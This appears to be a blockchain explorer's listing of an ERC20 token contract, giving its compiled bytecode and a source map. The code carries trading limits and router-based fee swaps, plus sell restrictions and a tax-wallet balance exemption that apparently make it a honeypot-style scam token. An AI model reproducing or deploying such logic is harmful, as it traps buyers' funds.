180830381865afa158015610676573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061069a91906116fe565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156106e4573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061070891906116fe565b601480546001600160a01b039283166001600160a01b031990911617905560135461010090041663f305d7194730610754816001600160a01b03165f908152600e602052604090205490565b5f806107675f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156107cd573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107f29190611719565b505060145460135460405163095ea7b360e01b81526001600160a01b03610100909204821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af115801561084c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108709190611744565b506014805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b031633146108b35760405162461bcd60e51b8152600401610474906116dd565b6108bf6009600a6116b8565b6108cd906305f5e1006116c6565b6001556108dc6009600a6116b8565b6108ea906305f5e1006116c6565b6002556013805460ff191690557fc2ac397216caacad63a61a38b7cf9e706b52802384d1951c5f9b2d7b79b365bb6109246009600a6116b8565b610932906305f5e1006116c6565b60405190815260200160405180910390a1565b6001600160a01b0383166109a75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610474565b6001600160a01b038216610a085760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610474565b6001600160a01b038381165f818152600f602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ad15760405162461bcd60e51b815260206004820152602a60248201527f45524332303a20207472616e73666572202066726f6d202074686520207a65726044820152696f20206164647265737360b01b6064820152608401610474565b6001600160a01b038216610b335760405162461bcd60e51b8152602060048201526024808201527f45524332303a207472616e7366657220746f20746865207a65726f20206164646044820152637265737360e01b6064820152608401610474565b5f8111610b9a5760405162461bcd60e51b815260206004820152602f60248201527f5472616e736665722020616d6f756e7420206d7573742020626520206772656160448201526e74657220207468616e20207a65726f60881b6064820152608401610474565b5f80546001600160a01b03858116911614801590610bc557505f546001600160a01b03848116911614155b15610f9b5760135460ff1615610c8d576013546001600160a01b038481166101009092041614801590610c0657506014546001600160a01b03848116911614155b15610c8d57325f908152601260205260409020544311610c7b5760405162461bcd60e51b815260206004820152602a60248201527f204f6e6c7920206f6e6520207472616e7366657220207065722020626c6f636b604482015269101030b63637bbb2b21760b11b6064820152608401610474565b325f9081526012602052604090204390555b6014546001600160a01b038581169116148015610cbd57506013546001600160a01b038481166101009092041614155b8015610ce157506001600160a01b0383165f9081526010602052604090205460ff16155b15610dd857600154821115610d085760405162461bcd60e51b815260040161047490611763565b60025482610d2a856001600160a01b03165f908152600e602052604090205490565b610d349190611784565b1115610d525760405162461bcd60e51b815260040161047490611763565b600b54600c541015610d7057610d6783611112565b15610d70575f80fd5b600c8054905f610d7f83611797565b90915550506001600160a01b0383165f908152601160205260409020805460ff19166001179055600954600c54610dd591606491610dcf9110610dc457600554610dc8565b6007545b859061116b565b906111ca565b90505b6014546001600160a01b038481169116148015610dfe57506001600160a01b0384163014155b8015610e2257506001600160a01b0384165f9081526010602052604090205460ff16155b15610ec8576001548211158015610e535750600454600d546001600160a01b03165f908152600e6020526040902054105b610e6f5760405162461bcd60e51b815260040161047490611763565b610e946064610dcf600a54600c5411610e8a57600654610dc8565b600854859061116b565b9050600b54600c54118015610ec057506001600160a01b0384165f9081526011602052604090205460ff165b610ec8575f80fd5b305f908152600e6020526040902054601454600160a81b900460ff16158015610efe57506014546001600160a01b038581169116145b8015610f135750601454600160b01b900460ff165b8015610f20575060035481115b8015610f2f5750600b54600c54115b8015610f5357506001600160a01b0384165f9081526010602052604090205460ff16155b8015610f7757506001600160a01b0385165f9081526010602052604090205460ff16155b15610f9957610f99610f9484610f8f846004546111f6565b6111f6565b61120b565b505b801561101357305f908152600e6020526040902054610fba90826113b7565b305f818152600e6020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061100a9085815260200190565b60405180910390a35b6001600160a01b0384165f908152600e602052604090205461103790859084611400565b6001600160a01b0385165f908152600e602052604090205561107a61105c8383611450565b6001600160a01b0385165f908152600e6020526040902054906113b7565b6001600160a01b038085165f818152600e602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6110c38585611450565b60405190815260200160405180910390a350505050565b5f81848411156110fd5760405162461bcd60e51b815260040161047491906114a8565b505f61110984866117af565b95945050505050565b6040805160018082528183019092525f91829182916020808301908036833701905050905083815f8151811061114a5761114a6117c2565b6001600160a01b03909216602092830291909101909101525050503b151590565b5f825f0361117a57505f6103bd565b5f61118583856116c6565b90508261119285836117d6565b146104445760405162461bcd60e51b81526020600482015260086024820152670a6c2ccca9ac2e8d60c31b6044820152606401610474565b5f6104448383604051806040016040528060088152602001670a6c2ccca9ac2e8d60c31b81525061147c565b5f818310156112055782610444565b50919050565b6014805460ff60a81b1916600160a81b17905580156113a757601454600160a01b900460ff16156113a7576040805160028082526060820183525f9260208301908036833701905050905030815f81518110611269576112696117c2565b60200260200101906001600160a01b031690816001600160a01b031681525050601360019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156112da573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112fe91906116fe565b81600181518110611311576113116117c2565b6001600160a01b03928316602091820292909201015260135461133c91309161010090041684610945565b60135460405163791ac94760e01b81526101009091046001600160a01b03169063791ac947906113789085905f908690309042906004016117f5565b5f604051808303815f87803b15801561138f575f80fd5b505af11580156113a1573d5f803e3d5ffd5b50505050505b506014805460ff60a81b19169055565b5f806113c38385611784565b9050838110156104445760405162461bcd60e51b81526020600482015260086024820152670a6c2ccca9ac2e8d60c31b6044820152606401610474565b600d545f906001600160a01b039081169085160361141f575081610444565b8183101561143f5760405162461bcd60e51b815260040161047490611763565b61144982846117af565b9050610444565b5f6104448383604051806040016040528060088152602001670a6c2ccca9ac2e8d60c31b8152506110da565b5f818361149c5760405162461bcd60e51b815260040161047491906114a8565b505f61110984866117d6565b5f6020808352835180828501525f5b818110156114d3578581018301518582016040015282016114b7565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611507575f80fd5b50565b5f806040838503121561151b575f80fd5b8235611526816114f3565b946020939093013593505050565b5f805f60608486031215611546575f80fd5b8335611551816114f3565b92506020840135611561816114f3565b929592945050506040919091013590565b5f60208284031215611582575f80fd5b8135610444816114f3565b5f806040838503121561159e575f80fd5b82356115a9816114f3565b915060208301356115b9816114f3565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561161257815f19048211156115f8576115f86115c4565b8085161561160557918102915b93841c93908002906115dd565b509250929050565b5f82611628575060016103bd565b8161163457505f6103bd565b816001811461164a576002811461165457611670565b60019150506103bd565b60ff841115611665576116656115c4565b50506001821b6103bd565b5060208310610133831016604e8410600b8410161715611693575081810a6103bd565b61169d83836115d8565b805f19048211156116b0576116b06115c4565b029392505050565b5f61044460ff84168361161a565b80820281158282048414176103bd576103bd6115c4565b6020808252600790820152664f776e61626c6560c81b604082015260600190565b5f6020828403121561170e575f80fd5b8151610444816114f3565b5f805f6060848603121561172b575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611754575f80fd5b81518015158114610444575f80fd5b6020808252600790820152662330b93134b23360c91b604082015260600190565b808201808211156103bd576103bd6115c4565b5f600182016117a8576117a86115c4565b5060010190565b818103818111156103bd576103bd6115c4565b634e487b7160e01b5f52603260045260245ffd5b5f826117f057634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156118435784516001600160a01b03168352938301939183019160010161181e565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203fe8ff05029c73e013382e7e9163e9f0d6e1787bda8d45f1a11643a3a0ca9c9e64736f6c63430008140033

Deployed Bytecode Sourcemap

3451:8264:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5335:83;;;;;;;;;;-1:-1:-1;5405:5:0;;;;;;;;;;;;-1:-1:-1;;;5405:5:0;;;;5335:83;;;;;;;:::i;:::-;;;;;;;;6175:161;;;;;;;;;;-1:-1:-1;6175:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6175:161:0;1023:187:1;5612:100:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;5612:100:0;1215:177:1;6344:316:0;;;;;;;;;;-1:-1:-1;6344:316:0;;;;;:::i;:::-;;:::i;5521:83::-;;;;;;;;;;-1:-1:-1;5521:83:0;;3683:1;2000:36:1;;1988:2;1973:18;5521:83:0;1858:184:1;3868:48:0;;;;;;;;;;;;;;;;4284:72;;;;;;;;;;-1:-1:-1;4284:72:0;;;;-1:-1:-1;;;;;4284:72:0;;;;;;-1:-1:-1;;;;;2211:32:1;;;2193:51;;2181:2;2166:18;4284:72:0;2047:203:1;3815:46:0;;;;;;;;;;;;;;;;5720:119;;;;;;;;;;-1:-1:-1;5720:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5813:18:0;5786:7;5813:18;;;:9;:18;;;;;;;5720:119;2622:148;;;;;;;;;;;;;:::i;:::-;;2433:79;;;;;;;;;;-1:-1:-1;2471:7:0;2498:6;-1:-1:-1;;;;;2498:6:0;2433:79;;5426:87;;;;;;;;;;-1:-1:-1;5498:7:0;;;;;;;;;;;;-1:-1:-1;;;5498:7:0;;;;5426:87;;5847:167;;;;;;;;;;-1:-1:-1;5847:167:0;;;;;:::i;:::-;;:::i;4656:37::-;;;;;;;;;;-1:-1:-1;4656:37:0;;;;;;;;10983:683;;;;;;;;;;;;;:::i;10481:215::-;;;;;;;;;;;;;:::i;6022:145::-;;;;;;;;;;-1:-1:-1;6022:145:0;;;;;:::i;:::-;-1:-1:-1;;;;;6131:19:0;;;6104:7;6131:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;6022:145;3767:41;;;;;;;;;;;;;;;;3923:43;;;;;;;;;;;;;;;;6175:161;6250:4;6267:39;2080:10;6290:7;6299:6;6267:8;:39::i;:::-;-1:-1:-1;6324:4:0;6175:161;;;;;:::o;5612:100::-;5665:7;3746:13;3683:1;3746:2;:13;:::i;:::-;3733:27;;:9;:27;:::i;:::-;5685:19;;5612:100;:::o;6344:316::-;6442:4;6459:36;6469:6;6477:9;6488:6;6459:9;:36::i;:::-;6506:124;6515:6;2080:10;6537:92;6578:6;6537:92;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6537:19:0;;;;;;:11;:19;;;;;;;;2080:10;6537:33;;;;;;;;;;:40;:92::i;:::-;6506:8;:124::i;:::-;-1:-1:-1;6648:4:0;6344:316;;;;;;:::o;2622:148::-;2560:6;;-1:-1:-1;;;;;2560:6:0;2080:10;2560:22;2552:42;;;;-1:-1:-1;;;2552:42:0;;;;;;;:::i;:::-;;;;;;;;;2729:1:::1;2713:6:::0;;2692:40:::1;::::0;-1:-1:-1;;;;;2713:6:0;;::::1;::::0;2692:40:::1;::::0;2729:1;;2692:40:::1;2760:1;2743:19:::0;;-1:-1:-1;;;;;;2743:19:0::1;::::0;;2622:148::o;5847:167::-;5925:4;5942:42;2080:10;5966:9;5977:6;5942:9;:42::i;10983:683::-;2560:6;;-1:-1:-1;;;;;2560:6:0;2080:10;2560:22;2552:42;;;;-1:-1:-1;;;2552:42:0;;;;;;;:::i;:::-;11048:10:::1;::::0;-1:-1:-1;;;11048:10:0;::::1;;;11047:11;11038:42;;;::::0;-1:-1:-1;;;11038:42:0;;5125:2:1;11038:42:0::1;::::0;::::1;5107:21:1::0;5164:2;5144:18;;;5137:30;-1:-1:-1;;;5183:18:1;;;5176:47;5240:18;;11038:42:0::1;4923:341:1::0;11038:42:0::1;11092:15;:81:::0;;-1:-1:-1;;;;;;11092:81:0::1;::::0;::::1;::::0;;;;11184:64:::1;::::0;11203:4:::1;::::0;-1:-1:-1;;;;;11092:81:0::1;11217:15:::0;;::::1;;3746:13;3683:1;3746:2;:13;:::i;:::-;3733:27;::::0;:9:::1;:27;:::i;11184:64::-;11293:15;;;;;;;;;-1:-1:-1::0;;;;;11293:15:0::1;-1:-1:-1::0;;;;;11293:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11273:57:0::1;;11340:4;11347:15;;;;;;;;;-1:-1:-1::0;;;;;11347:15:0::1;-1:-1:-1::0;;;;;11347:21:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11273:98;::::0;-1:-1:-1;;;;;;11273:98:0::1;::::0;;;;;;-1:-1:-1;;;;;5755:15:1;;;11273:98:0::1;::::0;::::1;5737:34:1::0;5807:15;;5787:18;;;5780:43;5672:18;;11273:98:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11259:11;:112:::0;;-1:-1:-1;;;;;11259:112:0;;::::1;-1:-1:-1::0;;;;;;11259:112:0;;::::1;;::::0;;11382:15:::1;::::0;11259:112:::1;11382:15:::0;::::1;;:31;11421:21;11454:4;11460:25;11454:4:::0;-1:-1:-1;;;;;5813:18:0;5786:7;5813:18;;;:9;:18;;;;;;;5720:119;11460:25:::1;11486:1;11488::::0;11490:7:::1;2471::::0;2498:6;-1:-1:-1;;;;;2498:6:0;;2433:79;11490:7:::1;11382:132;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11382:132:0;;;-1:-1:-1;;;;;6193:15:1;;;11382:132:0::1;::::0;::::1;6175:34:1::0;6225:18;;;6218:34;;;;6268:18;;;6261:34;;;;6311:18;;;6304:34;6375:15;;;6354:19;;;6347:44;11498:15:0::1;6407:19:1::0;;;6400:35;6109:19;;11382:132:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11533:11:0::1;::::0;11563:15:::1;::::0;11525:72:::1;::::0;-1:-1:-1;;;11525:72:0;;-1:-1:-1;;;;;11533:11:0::1;11563:15:::0;;::::1;::::0;::::1;11525:72;::::0;::::1;6931:51:1::0;-1:-1:-1;;6998:18:1;;;6991:34;11533:11:0;::::1;::::0;-1:-1:-1;11525:28:0::1;::::0;6904:18:1;;11525:72:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;11608:13:0::1;:20:::0;;-1:-1:-1;;;;11640:17:0;-1:-1:-1;;;11640:17:0;;;10983:683::o;10481:215::-;2560:6;;-1:-1:-1;;;;;2560:6:0;2080:10;2560:22;2552:42;;;;-1:-1:-1;;;2552:42:0;;;;;;;:::i;:::-;3746:13:::1;3683:1;3746:2;:13;:::i;:::-;3733:27;::::0;:9:::1;:27;:::i;:::-;10535:11;:28:::0;3746:13:::1;3683:1;3746:2;:13;:::i;:::-;3733:27;::::0;:9:::1;:27;:::i;:::-;10575:16;:31:::0;10618:16:::1;:24:::0;;-1:-1:-1;;10618:24:0::1;::::0;;10660:27:::1;3746:13;3683:1;3746:2;:13;:::i;:::-;3733:27;::::0;:9:::1;:27;:::i;:::-;10660;::::0;1361:25:1;;;1349:2;1334:18;10660:27:0::1;;;;;;;10481:215::o:0;6668:337::-;-1:-1:-1;;;;;6762:19:0;;6754:68;;;;-1:-1:-1;;;6754:68:0;;7520:2:1;6754:68:0;;;7502:21:1;7559:2;7539:18;;;7532:30;7598:34;7578:18;;;7571:62;-1:-1:-1;;;7649:18:1;;;7642:34;7693:19;;6754:68:0;7318:400:1;6754:68:0;-1:-1:-1;;;;;6841:20:0;;6833:67;;;;-1:-1:-1;;;6833:67:0;;7925:2:1;6833:67:0;;;7907:21:1;7964:2;7944:18;;;7937:30;8003:34;7983:18;;;7976:62;-1:-1:-1;;;8054:18:1;;;8047:32;8096:19;;6833:67:0;7723:398:1;6833:67:0;-1:-1:-1;;;;;6911:19:0;;;;;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;:37;;;6964:33;;1361:25:1;;;6964:33:0;;1334:18:1;6964:33:0;;;;;;;6668:337;;;:::o;7013:2592::-;-1:-1:-1;;;;;7102:17:0;;7093:73;;;;-1:-1:-1;;;7093:73:0;;8328:2:1;7093:73:0;;;8310:21:1;8367:2;8347:18;;;8340:30;8406:34;8386:18;;;8379:62;-1:-1:-1;;;8457:18:1;;;8450:40;8507:19;;7093:73:0;8126:406:1;7093:73:0;-1:-1:-1;;;;;7186:15:0;;7177:65;;;;-1:-1:-1;;;7177:65:0;;8739:2:1;7177:65:0;;;8721:21:1;8778:2;8758:18;;;8751:30;8817:34;8797:18;;;8790:62;-1:-1:-1;;;8868:18:1;;;8861:34;8912:19;;7177:65:0;8537:400:1;7177:65:0;7271:1;7262:6;:10;7253:71;;;;-1:-1:-1;;;7253:71:0;;9144:2:1;7253:71:0;;;9126:21:1;9183:2;9163:18;;;9156:30;9222:34;9202:18;;;9195:62;-1:-1:-1;;;9273:18:1;;;9266:45;9328:19;;7253:71:0;8942:411:1;7253:71:0;7335:18;2498:6;;-1:-1:-1;;;;;7374:15:0;;;2498:6;;7374:15;;;;:30;;-1:-1:-1;2471:7:0;2498:6;-1:-1:-1;;;;;7392:12:0;;;2498:6;;7392:12;;7374:30;7368:1845;;;7428:16;;;;7423:315;;;7483:15;;-1:-1:-1;;;;;7470:29:0;;;7483:15;;;;;7470:29;;;;:57;;-1:-1:-1;7515:11:0;;-1:-1:-1;;;;;7502:25:0;;;7515:11;;7502:25;;7470:57;7465:258;;;7572:9;7559:23;;;;:12;:23;;;;;;7585:12;-1:-1:-1;7550:94:0;;;;-1:-1:-1;;;7550:94:0;;9560:2:1;7550:94:0;;;9542:21:1;9599:2;9579:18;;;9572:30;9638:34;9618:18;;;9611:62;-1:-1:-1;;;9689:18:1;;;9682:40;9739:19;;7550:94:0;9358:406:1;7550:94:0;7678:9;7665:23;;;;:12;:23;;;;;7691:12;7665:38;;7465:258;7768:11;;-1:-1:-1;;;;;7760:19:0;;;7768:11;;7760:19;:53;;;;-1:-1:-1;7797:15:0;;-1:-1:-1;;;;;7783:30:0;;;7797:15;;;;;7783:30;;7760:53;:72;;;;-1:-1:-1;;;;;;7817:15:0;;;;;;:11;:15;;;;;;;;7816:16;7760:72;7754:517;;;7872:11;;7862:6;:21;;7853:42;;;;-1:-1:-1;;;7853:42:0;;;;;;;:::i;:::-;7950:16;;7940:6;7923:14;7934:2;-1:-1:-1;;;;;5813:18:0;5786:7;5813:18;;;:9;:18;;;;;;;5720:119;7923:14;:23;;;;:::i;:::-;:43;;7914:63;;;;-1:-1:-1;;;7914:63:0;;;;;;;:::i;:::-;8014:10;;8001;;:23;7996:94;;;8057:12;8066:2;8057:8;:12::i;:::-;8056:13;8047:23;;;;;;8108:10;:13;;;:10;:13;;;:::i;:::-;;;;-1:-1:-1;;;;;;;8124:13:0;;;;;;:9;:13;;;;;:20;;-1:-1:-1;;8124:20:0;8140:4;8124:20;;;8200:16;;8187:10;;8175:80;;8251:3;;8175:71;;-1:-1:-1;8186:59:0;;8231:14;;8186:59;;;8218:12;;8186:59;8175:6;;:10;:71::i;:::-;:75;;:80::i;:::-;8163:92;;7754:517;8296:11;;-1:-1:-1;;;;;8290:17:0;;;8296:11;;8290:17;:40;;;;-1:-1:-1;;;;;;8309:21:0;;8325:4;8309:21;;8290:40;:62;;;;-1:-1:-1;;;;;;8335:17:0;;;;;;:11;:17;;;;;;;;8333:19;8290:62;8287:370;;;8392:11;;8382:6;:21;;:62;;;;-1:-1:-1;8431:13:0;;8417:11;;-1:-1:-1;;;;;8417:11:0;5786:7;5813:18;;;:9;:18;;;;;;8407:37;8382:62;8373:83;;;;-1:-1:-1;;;8373:83:0;;;;;;;:::i;:::-;8487:84;8567:3;8487:75;8512:17;;8499:10;;:30;8498:63;;8546:15;;8498:63;;;8532:13;;8487:6;;:10;:75::i;:84::-;8475:96;;8611:10;;8599;;:22;:41;;;;-1:-1:-1;;;;;;8625:15:0;;;;;;:9;:15;;;;;;;;8599:41;8590:51;;;;;;8722:4;8673:28;5813:18;;;:9;:18;;;;;;8748:12;;-1:-1:-1;;;8748:12:0;;;;8747:13;:49;;;;-1:-1:-1;8785:11:0;;-1:-1:-1;;;;;8779:17:0;;;8785:11;;8779:17;8747:49;:64;;;;-1:-1:-1;8798:13:0;;-1:-1:-1;;;8798:13:0;;;;8747:64;:108;;;;;8837:18;;8814:20;:41;8747:108;:150;;;;;8887:10;;8874;;:23;8747:150;:171;;;;-1:-1:-1;;;;;;8902:16:0;;;;;;:11;:16;;;;;;;;8900:18;8747:171;:194;;;;-1:-1:-1;;;;;;8923:18:0;;;;;;:11;:18;;;;;;;;8921:20;8747:194;8743:459;;;8977:71;8991:56;8997:6;9004:42;9010:20;9032:13;;9004:5;:42::i;:::-;8991:5;:56::i;:::-;8977:13;:71::i;:::-;7406:1807;7368:1845;9230:13;;9225:174;;9305:4;9286:25;;;;:9;:25;;;;;;:40;;9316:9;9286:29;:40::i;:::-;9277:4;9259:24;;;;:9;:24;;;;;;;:67;;;;9345:42;;-1:-1:-1;;;;;9345:42:0;;;;;;;9377:9;1361:25:1;;1349:2;1334:18;;1215:177;9345:42:0;;;;;;;;9225:174;-1:-1:-1;;;;;9440:16:0;;;;;;:9;:16;;;;;;9427:38;;9433:4;;9458:6;9427:5;:38::i;:::-;-1:-1:-1;;;;;9409:15:0;;;;;;:9;:15;;;;;:56;9492:43;9510:24;:6;9524:9;9510:12;:24::i;:::-;-1:-1:-1;;;;;9492:13:0;;;;;;:9;:13;;;;;;;:17;:43::i;:::-;-1:-1:-1;;;;;9476:13:0;;;;;;;:9;:13;;;;;:59;;;;9552:45;;;9572:24;:6;9586:9;9572:13;:24::i;:::-;9552:45;;1361:25:1;;;1349:2;1334:18;9552:45:0;;;;;;;7082:2523;7013:2592;;;:::o;1209:193::-;1298:7;1334:12;1326:6;;;;1318:29;;;;-1:-1:-1;;;1318:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1358:9:0;1370:5;1374:1;1370;:5;:::i;:::-;1358:17;1209:193;-1:-1:-1;;;;;1209:193:0:o;10703:270::-;10825:16;;;10839:1;10825:16;;;;;;;;;10760:4;;;;;;10825:16;;;;;;;;;;;-1:-1:-1;10825:16:0;10796:45;;10863:7;10848:9;10858:1;10848:12;;;;;;;;:::i;:::-;-1:-1:-1;;;;;10848:22:0;;;:12;;;;;;;;;;;:22;-1:-1:-1;;;10911:20:0;10953:12;;;10703:270::o;1410:221::-;1468:7;1492:1;1497;1492:6;1488:47;;-1:-1:-1;1522:1:0;1515:8;;1488:47;1545:9;1557:5;1561:1;1557;:5;:::i;:::-;1545:17;-1:-1:-1;1590:1:0;1581:5;1585:1;1545:17;1581:5;:::i;:::-;:10;1573:31;;;;-1:-1:-1;;;1573:31:0;;11195:2:1;1573:31:0;;;11177:21:1;11234:1;11214:18;;;11207:29;-1:-1:-1;;;11252:18:1;;;11245:38;11300:18;;1573:31:0;10993:331:1;1639:114:0;1697:7;1724:21;1728:1;1731;1724:21;;;;;;;;;;;;;-1:-1:-1;;;1724:21:0;;;:3;:21::i;10137:106::-;10196:7;10225:1;10220;:6;;10219:16;;10234:1;10219:16;;;-1:-1:-1;10230:1:0;10137:106;-1:-1:-1;10137:106:0:o;9613:516::-;4984:12;:19;;-1:-1:-1;;;;4984:19:0;-1:-1:-1;;;4984:19:0;;;9697:34;;9723:7:::1;9697:34;9745:10;::::0;-1:-1:-1;;;9745:10:0;::::1;;;9741:24:::0;9757:7:::1;9741:24;9800:19;::::0;;9817:1:::1;9800:19:::0;;;;;::::1;::::0;;9775:21:::1;::::0;9800:19:::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9800:19:0::1;9775:44;;9849:4;9830;9835:1;9830:7;;;;;;;;:::i;:::-;;;;;;:24;-1:-1:-1::0;;;;;9830:24:0::1;;;-1:-1:-1::0;;;;;9830:24:0::1;;;::::0;::::1;9875:15;;;;;;;;;-1:-1:-1::0;;;;;9875:15:0::1;-1:-1:-1::0;;;;;9875:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9865:4;9870:1;9865:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9865:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;9942:15:::1;::::0;9908:71:::1;::::0;9926:4:::1;::::0;9942:15:::1;::::0;::::1;;9960:18:::0;9908:8:::1;:71::i;:::-;9990:15;::::0;:131:::1;::::0;-1:-1:-1;;;9990:131:0;;:15:::1;::::0;;::::1;-1:-1:-1::0;;;;;9990:15:0::1;::::0;:66:::1;::::0;:131:::1;::::0;10058:18;;10078:1:::1;::::0;10081:4;;10095::::1;::::0;10102:17:::1;::::0;9990:131:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;9686:443;5014:1;-1:-1:-1::0;5026:12:0;:20;;-1:-1:-1;;;;5026:20:0;;;9613:516::o;913:160::-;971:7;;1003:5;1007:1;1003;:5;:::i;:::-;991:17;;1032:1;1027;:6;;1019:27;;;;-1:-1:-1;;;1019:27:0;;11195:2:1;1019:27:0;;;11177:21:1;11234:1;11214:18;;;11207:29;-1:-1:-1;;;11252:18:1;;;11245:38;11300:18;;1019:27:0;10993:331:1;10251:222:0;10352:11;;10324:7;;-1:-1:-1;;;;;10352:11:0;;;10344:19;;;;10340:126;;-1:-1:-1;10383:1:0;10376:8;;10340:126;10422:1;10417;:6;;10409:26;;;;-1:-1:-1;;;10409:26:0;;;;;;;:::i;:::-;10453:5;10457:1;10453;:5;:::i;:::-;10446:12;;;;1081:120;1142:7;1170:23;1176:1;1179;1170:23;;;;;;;;;;;;;-1:-1:-1;;;1170:23:0;;;:5;:23::i;1761:189::-;1847:7;1882:12;1875:5;1867:28;;;;-1:-1:-1;;;1867:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1906:9:0;1918:5;1922:1;1918;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2255:247::-;2314:6;2367:2;2355:9;2346:7;2342:23;2338:32;2335:52;;;2383:1;2380;2373:12;2335:52;2422:9;2409:23;2441:31;2466:5;2441:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:127::-;2961:10;2956:3;2952:20;2949:1;2942:31;2992:4;2989:1;2982:15;3016:4;3013:1;3006:15;3032:422;3121:1;3164:5;3121:1;3178:270;3199:7;3189:8;3186:21;3178:270;;;3258:4;3254:1;3250:6;3246:17;3240:4;3237:27;3234:53;;;3267:18;;:::i;:::-;3317:7;3307:8;3303:22;3300:55;;;3337:16;;;;3300:55;3416:22;;;;3376:15;;;;3178:270;;;3182:3;3032:422;;;;;:::o;3459:806::-;3508:5;3538:8;3528:80;;-1:-1:-1;3579:1:1;3593:5;;3528:80;3627:4;3617:76;;-1:-1:-1;3664:1:1;3678:5;;3617:76;3709:4;3727:1;3722:59;;;;3795:1;3790:130;;;;3702:218;;3722:59;3752:1;3743:10;;3766:5;;;3790:130;3827:3;3817:8;3814:17;3811:43;;;3834:18;;:::i;:::-;-1:-1:-1;;3890:1:1;3876:16;;3905:5;;3702:218;;